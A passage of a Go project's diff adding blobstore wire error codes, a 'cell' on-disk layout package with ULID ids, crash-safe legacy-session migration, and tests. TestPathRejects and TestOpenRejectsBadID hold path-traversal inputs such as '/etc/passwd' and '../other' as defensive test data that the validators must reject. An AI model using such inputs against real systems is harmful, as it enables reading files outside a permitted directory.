have been stored before any lookup +// touches memory or the disk with it; on Disk the id becomes a path, so this +// is also what keeps a hostile id from naming a file outside the store. +func checkGet(rid string) error { + if !ValidRID(rid) { + return fmt.Errorf("%w: %q", ErrBadRID, rid) + } + return nil +} + +// checkMany is checkHas for GetMany: the same rules at GetMany's own bound, and no id twice, +// because the answer is a frame and a frame cannot hold one object twice. +func checkMany(rids []string) error { + if len(rids) > MaxGetMany { + return fmt.Errorf("%w: %d ids, the limit is %d", ErrTooMany, len(rids), MaxGetMany) + } + seen := make(map[string]bool, len(rids)) + for _, rid := range rids { + if err := checkGet(rid); err != nil { + return err + } + if seen[rid] { + return fmt.Errorf("%w: %q asked for twice", ErrBadRID, rid) + } + seen[rid] = true + } + return nil +} diff --git a/internal/blobstore/wire.go b/internal/blobstore/wire.go new file mode 100644 index 0000000000..102c3f3d27 --- /dev/null +++ b/internal/blobstore/wire.go @@ -0,0 +1,151 @@ +package blobstore + +import ( + "encoding/json" + "errors" + "net/http" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// The wire vocabulary is one table read by both ends, so a code the handler +// can send is a code the client can read: adding an error means adding a row, +// and the two sides cannot drift apart. +var wireErrors = []struct { + code string + status int + err error +}{ + {"bad_frame", http.StatusBadRequest, ErrBadFrame}, + {"bad_rid", http.StatusBadRequest, ErrBadRID}, + {"too_many", http.StatusBadRequest, ErrTooMany}, + {"not_found", http.StatusNotFound, ErrNotFound}, + {"range_not_satisfiable", http.StatusRequestedRangeNotSatisfiable, errRange}, + {"conflict", http.StatusConflict, ErrConflict}, + {"full", http.StatusInsufficientStorage, ErrFull}, + {"damaged", http.StatusInternalServerError, ErrDamaged}, + {"unreachable", http.StatusServiceUnavailable, ErrUnreachable}, + {"rate_limited", http.StatusTooManyRequests, wireauth.ErrRateLimited}, + {"too_many_identities", http.StatusTooManyRequests, wireauth.ErrTooManyIdentities}, + {"skew", http.StatusUnauthorized, wireauth.ErrSkew}, + {"revoked", http.StatusUnauthorized, wireauth.ErrRevoked}, + {"rotated", http.StatusGone, wireauth.ErrRotated}, + {"gone", http.StatusGone, wireauth.ErrGone}, + {"unauthorized", http.StatusUnauthorized, wireauth.ErrUnauthorized}, +} + +// codeOf finds the row for err; ok is false for an error the wire has no name for. +func codeOf(err error) (code string, status int, ok bool) { + for _, row := range wireErrors { + if errors.Is(err, row.err) { + return row.code, row.status, true + } + } + return "", 0, false +} + +// errOf is the inverse of codeOf: the sentinel a code names, or nil. +func errOf(code string) error { + for _, row := range wireErrors { + if row.code == code { + return row.err + } + } + return nil +} + +// errBody is the JSON every failure carries. +type errBody struct { + Err string `json:"err"` + // LimitBytes is the byte ceiling a full relay names; absent when it has none. + LimitBytes int64 `json:"limit_bytes,omitempty"` +} + +// ceiling is a refusal together with the byte ceiling the relay named. +type ceiling struct { + err error + bytes int64 +} + +func (c ceiling) Error() string { return c.err.Error() } +func (c ceiling) Unwrap() error { return c.err } + +// Capped attaches a byte ceiling to err. A store that has a cap returns its ErrFull this way and the +// handler tells the client; the client attaches the ceiling it read. A ceiling of zero means the relay +// named none, and err is left alone. +func Capped(err error, bytes int64) error { + if bytes <= 0 { + return err + } + return ceiling{err: err, bytes: bytes} +} + +// LimitOf is the byte ceiling the relay named with err, or zero when it named none. +func LimitOf(err error) int64 { + var c ceiling + if errors.As(err, &c) { + return c.bytes + } + return 0 +} + +// statsBody is the answer to GET /v1/store/stats. +type statsBody struct { + Puts int64 `json:"puts"` + Gets int64 `json:"gets"` + Has int64 `json:"has"` + BytesIn int64 `json:"bytes_in"` + BytesOut int64 `json:"bytes_out"` +} + +type putAnswer struct { + Frame string `json:"frame"` + Objects int `json:"objects"` +} + +type hasRequest struct { + Rids []string `json:"rids"` +} + +// getManyRequest names the objects a GetMany asks for; the answer is a frame. +type getManyRequest = hasRequest + +type hasAnswer struct { + Have []bool `json:"have"` +} + +// locateRequest names the rids a Locate asks about; locateAnswer answers where +// each held one lies, keyed by rid. +type locateRequest = hasRequest + +type locateAnswer struct { + At map[string]Location `json:"at"` +} + +const ( + pathFrames = "/v1/store/frames" + pathObjects = "/v1/store/objects/" + pathMany = "/v1/store/objects" + pathHas = "/v1/store/has" + pathLocate = "/v1/store/locate" + pathStats = "/v1/store/stats" + + // maxSmallBody bounds every request body that is not a frame: a Has + // request of MaxHas ids is about 70 KB, so a megabyte is generous. + maxSmallBody = 1 << 20 + + // nowHeader carries the server's clock, in unix milliseconds, on every answer. + nowHeader = "Codeaf-Now" +) + +// manyKeyID is the cell key id of the frame that answers a GetMany. A frame +// needs one, and this answer belongs to no cell, so it is all zeros. +const manyKeyID = "00000000000000000000000000000000" + +func mustJSON(v any) []byte { + b, err := json.Marshal(v) + if err != nil { + panic(err) // the wire types above cannot fail to marshal + } + return b +} diff --git a/internal/cell/cell.go b/internal/cell/cell.go new file mode 100644 index 0000000000..d82ec9e31f --- /dev/null +++ b/internal/cell/cell.go @@ -0,0 +1,194 @@ +// Package cell is the on-disk layout of a cell: one folder per conversation +// under /v3/cells//, holding the cell's own state in .cell/: +// +// .cell/transcript.jsonl the journal +// .cell/env/ environment state +// .cell/meta.json Meta (SCHEMAS.md §4) +// +// Every path this package persists is cell-relative; absolute paths exist +// only transiently, as the answer to Cell.Path. +// +// New chats are cells unless [Enabled] says otherwise (CODEAF_CELLS=0 turns them off): v3MintSession in +// cmd/codeaf/chatv3_layout.go calls [CreateIn] on the project bucket, and +// internal/session's layout.go recognises a folder holding .cell/ and keeps +// the transcript there. A legacy folder is migrated in place when it is opened +// (MigrateLegacy, hooked in openV3Agent), only while the flag is on. +package cell + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/env" +) + +// Cell-relative names. +const ( + StateDir = ".cell" + TranscriptPath = StateDir + "/transcript.jsonl" + EnvPath = StateDir + "/env" + MetaPath = StateDir + "/meta.json" + // TreesDir is the folder of a session where its task working copies live, + // and CarriedTreesPath is where a seal carries their uncommitted files. + TreesDir = "trees" + CarriedTreesPath = StateDir + "/" + TreesDir + + schemaV = 1 +) + +// EnvVar is the switch that turns cells off. Cells are on by default, because a +// paired install moves chats between computers with no setting; "0" is the one +// way to opt out, and it is the only place any code reads the switch. +const EnvVar = "CODEAF_CELLS" + +// Enabled reports whether new chats should be created as cells: always, unless +// the person set CODEAF_CELLS=0. +func Enabled() bool { return env.Get(EnvVar) != "0" } + +// Options describe a new cell. KeyID is generated when empty. +type Options struct { + Class Class + KeyID string + Base *Base +} + +// Cell is a handle on one cell folder. +type Cell struct { + ID string + Root string + meta Meta +} + +// Dir is the directory that holds every cell under a codeaf home. +func Dir(home string) string { return filepath.Join(home, "v3", "cells") } + +// Create makes a new cell folder and writes its meta.json. +func Create(home string, opts Options) (Cell, error) { return CreateIn(Dir(home), opts) } + +// CreateIn makes a new cell folder directly under parent. A caller that +// already groups its conversations in a directory (a project bucket) uses it +// so the cell is found where that grouping looks. +func CreateIn(parent string, opts Options) (Cell, error) { + m, err := opts.meta() + if err != nil { + return Cell{}, err + } + id, err := NewID(time.Now()) + if err != nil { + return Cell{}, err + } + c := Cell{ID: id, Root: filepath.Join(parent, id), meta: m} + if err := os.MkdirAll(c.Root+"/"+EnvPath, 0o700); err != nil { + return Cell{}, fmt.Errorf("create cell: %w", err) + } + if err := c.WriteMeta(m); err != nil { + return Cell{}, err + } + return c, nil +} + +// Open loads an existing cell. +func Open(home, id string) (Cell, error) { + if !ValidID(id) { + return Cell{}, fmt.Errorf("open cell: invalid id %q", id) + } + return OpenAt(filepath.Join(Dir(home), id), id) +} + +// OpenAt loads the cell whose folder is root, wherever it lives. +func OpenAt(root, id string) (Cell, error) { + c := Cell{ID: id, Root: root} + raw, err := os.ReadFile(c.abs(MetaPath)) + if err != nil { + return Cell{}, fmt.Errorf("open cell %s: %w", id, err) + } + if err := json.Unmarshal(raw, &c.meta); err != nil { + return Cell{}, fmt.Errorf("open cell %s: %w", id, err) + } + if err := c.meta.validate(); err != nil { + return Cell{}, fmt.Errorf("open cell %s: %w", id, err) + } + return c, nil +} + +// Meta is the cell's metadata as last written or read. +func (c Cell) Meta() Meta { return c.meta } + +// Path resolves a cell-relative path to a location inside the cell. Absolute +// and escaping paths are rejected. +func (c Cell) Path(rel string) (string, error) { + if rel == "" || filepath.IsAbs(rel) || strings.HasPrefix(rel, "/") { + return "", fmt.Errorf("cell path %q: must be relative", rel) + } + clean := filepath.Clean(rel) + if clean == ".." || strings.HasPrefix(clean, ".."+string(filepath.Separator)) { + return "", fmt.Errorf("cell path %q: escapes the cell", rel) + } + return c.abs(clean), nil +} + +func (c Cell) abs(rel string) string { return filepath.Join(c.Root, filepath.FromSlash(rel)) } + +// WriteMeta replaces meta.json atomically (temp file, fsync, rename). +func (c *Cell) WriteMeta(m Meta) error { + if err := m.validate(); err != nil { + return err + } + raw, err := encodeMeta(m) + if err != nil { + return err + } + if err := writeAtomic(c.abs(MetaPath), raw); err != nil { + return fmt.Errorf("write cell meta: %w", err) + } + c.meta = m + return nil +} + +func encodeMeta(m Meta) ([]byte, error) { return json.MarshalIndent(m, "", " ") } + +// RestoreMeta makes meta.json on disk equal the meta this handle holds, and +// writes nothing when it already does. The harness calls it before each seal +// so a tool that edited the file cannot reach a sealed tree (L10). +func (c *Cell) RestoreMeta() error { + raw, err := encodeMeta(c.meta) + if err != nil { + return err + } + if cur, err := os.ReadFile(c.abs(MetaPath)); err == nil && bytes.Equal(cur, raw) { + return nil + } + return c.WriteMeta(c.meta) +} + +func writeAtomic(path string, data []byte) (err error) { + tmp, err := os.CreateTemp(filepath.Dir(path), ".meta-*.tmp") + if err != nil { + return err + } + defer func() { + if err != nil { + _ = os.Remove(tmp.Name()) + } + }() + if _, err = tmp.Write(data); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Sync(); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Close(); err != nil { + return err + } + return os.Rename(tmp.Name(), path) +} + +var errBadMeta = errors.New("invalid cell meta") diff --git a/internal/cell/cell_test.go b/internal/cell/cell_test.go new file mode 100644 index 0000000000..f1b4910bfb --- /dev/null +++ b/internal/cell/cell_test.go @@ -0,0 +1,128 @@ +package cell + +import ( + "os" + "path/filepath" + "regexp" + "strings" + "testing" + "time" +) + +func TestCreateOpenRoundTrip(t *testing.T) { + home := t.TempDir() + base := &Base{Remote: "git@example.com:a/b.git", SHA: "6e1f0c2a"} + c, err := Create(home, Options{Class: Sandboxed, Base: base}) + if err != nil { + t.Fatal(err) + } + if !ValidID(c.ID) { + t.Fatalf("bad id %q", c.ID) + } + got, err := Open(home, c.ID) + if err != nil { + t.Fatal(err) + } + if got.Meta().Class != Sandboxed || *got.Meta().Base != *base || got.Meta().V != 1 { + t.Fatalf("meta = %+v", got.Meta()) + } + for _, rel := range []string{EnvPath, MetaPath} { + p, _ := got.Path(rel) + if _, err := os.Stat(p); err != nil { + t.Errorf("%s: %v", rel, err) + } + } +} + +func TestPathRejects(t *testing.T) { + c := Cell{Root: "/cells/x"} + for _, tc := range []struct { + rel string + ok bool + }{ + {".cell/meta.json", true}, + {"a/../b", true}, + {"", false}, + {"/etc/passwd", false}, + {"..", false}, + {"../other", false}, + {"a/../../other", false}, + } { + _, err := c.Path(tc.rel) + if (err == nil) != tc.ok { + t.Errorf("Path(%q) err=%v, want ok=%v", tc.rel, err, tc.ok) + } + } +} + +func TestOpenRejectsBadID(t *testing.T) { + for _, id := range []string{"", "../x", "short", strings.Repeat("Z", 26)} { + if _, err := Open(t.TempDir(), id); err == nil { + t.Errorf("Open(%q) succeeded", id) + } + } +} + +func TestCreateRejectsBadMeta(t *testing.T) { + for _, o := range []Options{{}, {Class: "weird"}, {Class: FilesOnly, KeyID: "nothex"}} { + if _, err := Create(t.TempDir(), o); err == nil { + t.Errorf("Create(%+v) succeeded", o) + } + } +} + +func TestWriteMetaAtomic(t *testing.T) { + home := t.TempDir() + c, err := Create(home, Options{Class: FilesOnly}) + if err != nil { + t.Fatal(err) + } + m := c.Meta() + m.Class = HostBound + if err := c.WriteMeta(m); err != nil { + t.Fatal(err) + } + if err := c.WriteMeta(Meta{}); err == nil { + t.Fatal("invalid meta written") + } + got, _ := Open(home, c.ID) + if got.Meta().Class != HostBound { + t.Fatalf("class = %s", got.Meta().Class) + } + dir := filepath.Dir(got.abs(MetaPath)) + entries, _ := os.ReadDir(dir) + for _, e := range entries { + if strings.HasSuffix(e.Name(), ".tmp") { + t.Errorf("leftover %s", e.Name()) + } + } +} + +func TestMetaHasNoAbsolutePaths(t *testing.T) { + home := t.TempDir() + c, err := Create(home, Options{Class: FilesOnly}) + if err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(c.abs(MetaPath)) + if strings.Contains(string(raw), home) || regexp.MustCompile(`"/[^"]`).Match(raw) { + t.Fatalf("absolute path in meta: %s", raw) + } +} + +func TestIDsSortByTime(t *testing.T) { + a, _ := NewID(time.UnixMilli(1_000_000)) + b, _ := NewID(time.UnixMilli(2_000_000)) + if !ValidID(a) || !ValidID(b) || a >= b { + t.Fatalf("ids %s %s", a, b) + } +} + +func TestEnabled(t *testing.T) { + for v, want := range map[string]bool{"": true, "0": false, "1": true} { + t.Setenv(EnvVar, v) + if Enabled() != want { + t.Errorf("%q: want %v", v, want) + } + } +} diff --git a/internal/cell/droppings.go b/internal/cell/droppings.go new file mode 100644 index 0000000000..075665e952 --- /dev/null +++ b/internal/cell/droppings.go @@ -0,0 +1,35 @@ +package cell + +import ( + "path/filepath" + "strings" +) + +// TaskDropping is the one directory under a task's working copy that is the +// harness's and never the person's work: job logs, saved pictures a session +// keeps for itself, anything this program leaves behind while the task works. +// It lives here, below every package that sorts a copy's files into the +// person's and ours, because each of them has to agree about it and a +// disagreement would carry a log to another computer as a change the person +// never made. +const TaskDropping = ".codeaf" + +// legacyTaskDropping is the folder an older build kept the same machinery in. +const legacyTaskDropping = ".aforge-v3" // legacy-name + +// TaskDroppings is the one list of repository-local task machinery a reader, +// cleaner, carrier or index builder must recognise. Writes keep using +// [TaskDropping] because live worktree registrations cannot be moved. +func TaskDroppings() []string { return []string{TaskDropping, legacyTaskDropping} } + +// IsTaskDropping reports whether path, relative to a task's working copy, is a +// dropping folder or anything inside one. +func IsTaskDropping(path string) bool { + clean := filepath.ToSlash(filepath.Clean(strings.TrimSpace(path))) + for _, name := range TaskDroppings() { + if clean == name || strings.HasPrefix(clean, name+"/") { + return true + } + } + return false +} diff --git a/internal/cell/id.go b/internal/cell/id.go new file mode 100644 index 0000000000..a676b8b67d --- /dev/null +++ b/internal/cell/id.go @@ -0,0 +1,63 @@ +package cell + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "regexp" + "time" +) + +// crockford is the ULID alphabet: sortable, no I L O U. +const crockford = "0123456789ABCDEFGHJKMNPQRSTVWXYZ" + +var ulidShape = regexp.MustCompile(`^[0-7][0-9A-HJKMNP-TV-Z]{25}$`) + +// NewID returns a ULID: 48 bits of unix milliseconds then 80 random bits, +// encoded as 26 Crockford base32 characters. Ids sort by creation time. +func NewID(now time.Time) (string, error) { + var raw [16]byte + ms := uint64(now.UnixMilli()) + for i := 0; i < 6; i++ { + raw[i] = byte(ms >> (8 * (5 - i))) + } + if _, err := rand.Read(raw[6:]); err != nil { + return "", fmt.Errorf("cell id: %w", err) + } + return encode128(raw), nil +} + +// encode128 writes 128 bits as 26 five-bit groups, most significant first; +// the first group carries only 3 bits. +func encode128(raw [16]byte) string { + out := make([]byte, 26) + var acc, bits uint + pos := 25 + for i := 15; i >= 0; i-- { + acc |= uint(raw[i]) << bits + bits += 8 + for bits >= 5 && pos >= 0 { + out[pos] = crockford[acc&31] + pos-- + acc >>= 5 + bits -= 5 + } + } + if pos == 0 { + out[0] = crockford[acc&31] + } + return string(out) +} + +// ValidID reports whether id has the shape of a ULID. Open relies on it so an +// id can never name a path outside the cells directory. +func ValidID(id string) bool { return ulidShape.MatchString(id) } + +// newKeyID is 16 random bytes as 32 hex characters (SCHEMAS.md §4). +func newKeyID() (string, error) { + var b [16]byte + if _, err := rand.Read(b[:]); err != nil { + return "", fmt.Errorf("cell key id: %w", err) + } + return hex.EncodeToString(b[:]), nil +} diff --git a/internal/cell/meta.go b/internal/cell/meta.go new file mode 100644 index 0000000000..f69710d604 --- /dev/null +++ b/internal/cell/meta.go @@ -0,0 +1,57 @@ +package cell + +import ( + "encoding/hex" + "fmt" +) + +// Class is declared per cell, never detected (SCHEMAS.md §4). +type Class string + +const ( + FilesOnly Class = "files-only" + Sandboxed Class = "sandboxed" + HostBound Class = "host-bound" +) + +var knownClasses = map[Class]bool{FilesOnly: true, Sandboxed: true, HostBound: true} + +// Base is where a fetch optimization may come from. Remote never carries +// credentials. +type Base struct { + Remote string `json:"remote,omitempty"` + SHA string `json:"sha,omitempty"` +} + +// Meta is .cell/meta.json. V is first so readers can branch on it. +type Meta struct { + V uint16 `json:"V"` + Class Class `json:"class"` + CellKeyID string `json:"cell_key_id"` + Base *Base `json:"base,omitempty"` +} + +func (o Options) meta() (Meta, error) { + if o.KeyID == "" { + id, err := newKeyID() + if err != nil { + return Meta{}, err + } + o.KeyID = id + } + m := Meta{V: schemaV, Class: o.Class, CellKeyID: o.KeyID, Base: o.Base} + return m, m.validate() +} + +func (m Meta) validate() error { + if m.V != schemaV { + return fmt.Errorf("%w: version %d", errBadMeta, m.V) + } + if !knownClasses[m.Class] { + return fmt.Errorf("%w: class %q", errBadMeta, m.Class) + } + if raw, err := hex.DecodeString(m.CellKeyID); err != nil || len(raw) != 16 { + return fmt.Errorf("%w: cell_key_id must be 32 hex chars", errBadMeta) + } + return nil +} diff --git a/internal/cell/migrate.go b/internal/cell/migrate.go new file mode 100644 index 0000000000..4cef62a2da --- /dev/null +++ b/internal/cell/migrate.go @@ -0,0 +1,169 @@ +package cell + +import ( + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" +) + +// legacyTranscript is where a legacy session folder keeps its journal. +const legacyTranscript = "transcript.jsonl" + +// stagingDir is where a migration builds .cell before it appears. It is +// inside the folder, so the final rename never crosses a filesystem. +const stagingDir = ".cell-staging" + +// MigrateLegacy turns a legacy session folder into a cell in place. The +// folder keeps its name, so a session keeps its id. The truth moves into .cell/ +// with the journal (internal/session/layout.go): state.json, tasks.json, +// team.json, tasks/ (node journals) and the truth half of the session meta. +// trees/ (git worktrees, which record absolute paths) and the derived files +// (meta.json summary, card.json) stay where they are. What appears is .cell/ +// with those, an env/ directory and a meta.json that holds no absolute path. +// +// Every step leaves a folder that opens, and a second call finishes whatever a +// first one left: +// +// 1. .cell is built under [stagingDir]. The folder is still legacy: a crash +// leaves a directory nobody reads, and the next call replaces it. +// 2. The journal is hard-linked into the staged .cell, so both names are one +// file: a window still holding the old name keeps writing the same bytes. +// 3. One rename moves the staged .cell into place. The folder is a cell now +// and its journal is where the cell layout looks. +// 4. The legacy name is removed. A crash before this leaves a second name for +// the same file, which the next call removes. +// +// Each Carrier does the same for one more kind of truth (state, tasks, the +// truth half of meta): it stages a copy in step 2, and clears the legacy +// original in step 4, so every crash point opens and a second call finishes. +// +// A folder that is already a cell, or holds no journal, is left as it is. +func MigrateLegacy(dir string, carry ...Carrier) error { + carry = append([]Carrier{Files(legacyTranscript)}, carry...) + if isCell(dir) { + return finish(dir, carry) + } + if _, err := os.Stat(filepath.Join(dir, legacyTranscript)); err != nil { + return ignoreMissing(err) + } + if err := stageCell(dir, carry); err != nil { + return fmt.Errorf("migrate %s: %w", filepath.Base(dir), err) + } + if err := os.Rename(filepath.Join(dir, stagingDir, StateDir), filepath.Join(dir, StateDir)); err != nil { + return fmt.Errorf("migrate %s: %w", filepath.Base(dir), err) + } + return finish(dir, carry) +} + +// finish clears what a migration leaves once .cell is in place. +func finish(dir string, carry []Carrier) error { + if err := os.RemoveAll(filepath.Join(dir, stagingDir)); err != nil { + return err + } + for _, c := range carry { + if err := c.Clear(dir); err != nil { + return err + } + } + return nil +} + +// stageCell builds a complete .cell for dir under the staging directory. +func stageCell(dir string, carry []Carrier) error { + stage := filepath.Join(dir, stagingDir) + if err := os.RemoveAll(stage); err != nil { + return err + } + // A legacy session already ran its tools on the host; declaring it + // anything narrower would refuse or cut off the work it was doing. + m, err := Options{Class: HostBound}.meta() + if err != nil { + return err + } + c := Cell{Root: stage} + if err := os.MkdirAll(c.abs(EnvPath), 0o700); err != nil { + return err + } + if err := c.WriteMeta(m); err != nil { + return err + } + for _, k := range carry { + if err := k.Stage(dir, c); err != nil { + return err + } + } + return nil +} + +// Carrier moves one kind of session truth from a legacy folder into its cell. +type Carrier interface { + // Stage puts a copy of the truth into the staged cell c. The legacy folder + // is untouched. + Stage(dir string, c Cell) error + // Clear removes what the legacy folder still holds once .cell is in place. + // It is safe to call again, and on a folder that never had the truth. + Clear(dir string) error +} + +// Files carries whole files: each is hard-linked into .cell so both names are +// one file, and the legacy name goes once .cell holds it. A window still +// holding the old name keeps writing the same bytes; anything else at that +// name is not ours to remove. A file the folder does not have is skipped. +func Files(names ...string) Carrier { return files(names) } + +type files []string + +func (f files) Stage(dir string, c Cell) error { + for _, name := range f { + err := os.Link(filepath.Join(dir, name), filepath.Join(c.Root, StateDir, name)) + if err := ignoreMissing(err); err != nil { + return err + } + } + return nil +} + +func (f files) Clear(dir string) error { + for _, name := range f { + if err := dropLegacyName(dir, name); err != nil { + return err + } + } + return nil +} + +// dropLegacyName settles one legacy name. A cell that lacks the file (made +// before it was carried) adopts it; one that holds the same file loses the +// legacy name. +func dropLegacyName(dir, name string) error { + legacy, kept := filepath.Join(dir, name), filepath.Join(dir, StateDir, name) + old, err := os.Stat(legacy) + if err != nil { + return ignoreMissing(err) + } + held, err := os.Stat(kept) + if errors.Is(err, fs.ErrNotExist) { + if err := os.MkdirAll(filepath.Dir(kept), 0o700); err != nil { + return err + } + return os.Rename(legacy, kept) + } + if err != nil || !os.SameFile(old, held) { + return err + } + return ignoreMissing(os.Remove(legacy)) +} + +func isCell(dir string) bool { + info, err := os.Stat(filepath.Join(dir, StateDir)) + return err == nil && info.IsDir() +} + +func ignoreMissing(err error) error { + if errors.Is(err, fs.ErrNotExist) { + return nil + } + return err +} diff --git a/internal/cell/migrate_test.go b/internal/cell/migrate_test.go new file mode 100644 index 0000000000..7a7c51a826 --- /dev/null +++ b/internal/cell/migrate_test.go @@ -0,0 +1,134 @@ +package cell + +import ( + "os" + "path/filepath" + "regexp" + "testing" +) + +// carried is what the interrupted-state tests stage: the journal and one more file. +var carried = []Carrier{Files(legacyTranscript, "state.json")} + +const journal = "{\"v\":1}\n{\"role\":\"user\"}\n" + +func legacyDir(t *testing.T) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "0123456789abcdef") + if err := os.MkdirAll(filepath.Join(dir, "tasks"), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, "transcript.jsonl"), []byte(journal), 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, "state.json"), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + return dir +} + +func wantMigrated(t *testing.T, dir string) { + t.Helper() + got, err := os.ReadFile(filepath.Join(dir, TranscriptPath)) + if err != nil || string(got) != journal { + t.Fatalf("cell transcript = %q, %v", got, err) + } + if got, err := os.ReadFile(filepath.Join(dir, StateDir, "state.json")); err != nil || string(got) != "{}\n" { + t.Fatalf("carried file = %q, %v", got, err) + } + for _, gone := range []string{"transcript.jsonl", "state.json", stagingDir} { + if _, err := os.Stat(filepath.Join(dir, gone)); !os.IsNotExist(err) { + t.Errorf("%s left behind: %v", gone, err) + } + } + raw, err := os.ReadFile(filepath.Join(dir, MetaPath)) + if err != nil { + t.Fatal(err) + } + if regexp.MustCompile(`"/[^"]`).Match(raw) { + t.Fatalf("absolute path in meta: %s", raw) + } + if !regexp.MustCompile(`"` + string(HostBound) + `"`).Match(raw) { + t.Errorf("migrated class is not %s: %s", HostBound, raw) + } + if _, err := os.Stat(filepath.Join(dir, EnvPath)); err != nil { + t.Errorf("env/: %v", err) + } + if _, err := os.Stat(filepath.Join(dir, "tasks")); err != nil { + t.Errorf("tasks/: %v", err) + } +} + +func TestMigrateLegacy(t *testing.T) { + dir := legacyDir(t) + if err := MigrateLegacy(dir, Files("state.json")); err != nil { + t.Fatal(err) + } + wantMigrated(t, dir) + first, _ := os.ReadFile(filepath.Join(dir, MetaPath)) + if err := MigrateLegacy(dir, Files("state.json")); err != nil { + t.Fatal(err) + } + wantMigrated(t, dir) + if again, _ := os.ReadFile(filepath.Join(dir, MetaPath)); string(again) != string(first) { + t.Fatal("second run rewrote meta") + } +} + +// Each test below stops the migration where a crash could, then checks the +// folder still reads its journal and that a second call finishes the job. +func TestMigrateInterruptedStates(t *testing.T) { + for name, stop := range map[string]func(t *testing.T, dir string){ + "after staging": func(t *testing.T, dir string) { + if err := stageCell(dir, carried); err != nil { + t.Fatal(err) + } + }, + "after the rename": func(t *testing.T, dir string) { + if err := stageCell(dir, carried); err != nil { + t.Fatal(err) + } + if err := os.Rename(filepath.Join(dir, stagingDir, StateDir), filepath.Join(dir, StateDir)); err != nil { + t.Fatal(err) + } + }, + } { + t.Run(name, func(t *testing.T) { + dir := legacyDir(t) + stop(t, dir) + if got, err := os.ReadFile(journalPath(dir)); err != nil || string(got) != journal { + t.Fatalf("journal = %q, %v", got, err) + } + if err := MigrateLegacy(dir, Files("state.json")); err != nil { + t.Fatal(err) + } + wantMigrated(t, dir) + }) + } +} + +// journalPath is where a reader looks: the cell's journal when the folder is a +// cell, the top-level one otherwise. +func journalPath(dir string) string { + if isCell(dir) { + return filepath.Join(dir, TranscriptPath) + } + return filepath.Join(dir, "transcript.jsonl") +} + +func TestMigrateLeavesOtherFolders(t *testing.T) { + empty := t.TempDir() + if err := MigrateLegacy(empty); err != nil { + t.Fatal(err) + } + if isCell(empty) { + t.Fatal("a folder with no journal became a cell") + } + c, err := Create(t.TempDir(), Options{Class: FilesOnly}) + if err != nil { + t.Fatal(err) + } + if err := MigrateLegacy(c.Root); err != nil { + t.Fatal(err) + } +} diff --git a/internal/cell/tree.go b/internal/cell/tree.go new file mode 100644 index 0000000000..4b5bf67e2d --- /dev/null +++ b/internal/cell/tree.go @@ -0,0 +1,83 @@ +package cell + +import ( + "errors" + "io/fs" + "os" + "path/filepath" + "syscall" +) + +// Tree carries whole directories, one file at a time, on the same terms as +// [Files]: each file is hard-linked into .cell so both names are one file, and +// the legacy name goes once .cell holds it. A file a window creates in the +// legacy directory after the link is adopted by rename when the folder is +// cleared, so no crash point loses one. The legacy directory goes when it is +// empty. A directory the folder does not have is skipped. +func Tree(names ...string) Carrier { return trees(names) } + +type trees []string + +func (t trees) Stage(dir string, c Cell) error { + return t.each(dir, func(rel string) error { + to := filepath.Join(c.Root, StateDir, rel) + if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil { + return err + } + return os.Link(filepath.Join(dir, rel), to) + }) +} + +func (t trees) Clear(dir string) error { + if err := t.each(dir, func(rel string) error { return dropLegacyName(dir, rel) }); err != nil { + return err + } + for _, name := range t { + if err := removeEmptyTree(filepath.Join(dir, name)); err != nil { + return err + } + } + return nil +} + +// each calls visit with the path, relative to dir, of every regular file below +// each named directory. +func (t trees) each(dir string, visit func(rel string) error) error { + for _, name := range t { + err := filepath.WalkDir(filepath.Join(dir, name), func(path string, d fs.DirEntry, err error) error { + if err != nil || !d.Type().IsRegular() { + return err + } + rel, err := filepath.Rel(dir, path) + if err != nil { + return err + } + return visit(rel) + }) + if err := ignoreMissing(err); err != nil { + return err + } + } + return nil +} + +// removeEmptyTree removes root and every directory below it that holds nothing, +// deepest first, and leaves the rest. +func removeEmptyTree(root string) error { + entries, err := os.ReadDir(root) + if err != nil { + return ignoreMissing(err) + } + for _, e := range entries { + if e.IsDir() { + if err := removeEmptyTree(filepath.Join(root, e.Name())); err != nil { + return err + } + } + } + err = os.Remove(root) + if errors.Is(err, syscall.ENOTEMPTY) { + return nil + } + return ignoreMissing(err) +} diff --git a/internal/cellbudget/budget_test.go b/internal/cellbudget/budget_test.go new file mode 100644 index 0000000000..8075903543 --- /dev/null +++ b/internal/cellbudget/budget_test.go @@ -0,0 +1,305 @@ +package cellbudget + +import ( + "context" + "crypto/sha256" + "io/fs" + "os" + "path/filepath" + "sort" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +var ctx = context.Background() + +// rig is a manager over the real engine, with a clock the test moves and a +// busy set the test edits. It skips when no engine binary resolves. +type rig struct { + t *testing.T + m Manager + busy map[string]bool + now time.Time + dirs string + work map[string]string // cell id -> the workspace its seals cover + bin string +} + +func newRig(t *testing.T, limit int64) *rig { + t.Helper() + bin, err := furrow.ResolveBinary() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + r := &rig{t: t, busy: map[string]bool{}, now: time.Now(), dirs: t.TempDir(), work: map[string]string{}, bin: bin} + r.m = New(cellstore.Engine{Binary: bin, DataRoot: filepath.Join(r.dirs, "stores")}, + func(c cell.Cell) string { return r.work[c.ID] }, + func(c cell.Cell) bool { return r.busy[c.ID] }) + r.m.Limit = limit + r.m.Now = func() time.Time { return r.now } + return r +} + +// cell makes a sealed cell whose workspace is its own work/ folder holding one +// file of n bytes, opened at the rig's current time, then moves the clock past +// the just-opened grace. +func (r *rig) cell(name string, n int) cell.Cell { + r.t.Helper() + c := r.newCell() + return r.seal(c, filepath.Join(c.Root, "work"), name, n) +} + +// yours is the same cell over a project folder outside it. +func (r *rig) yours(name string, n int) (cell.Cell, string) { + r.t.Helper() + c, dir := r.newCell(), r.t.TempDir() + 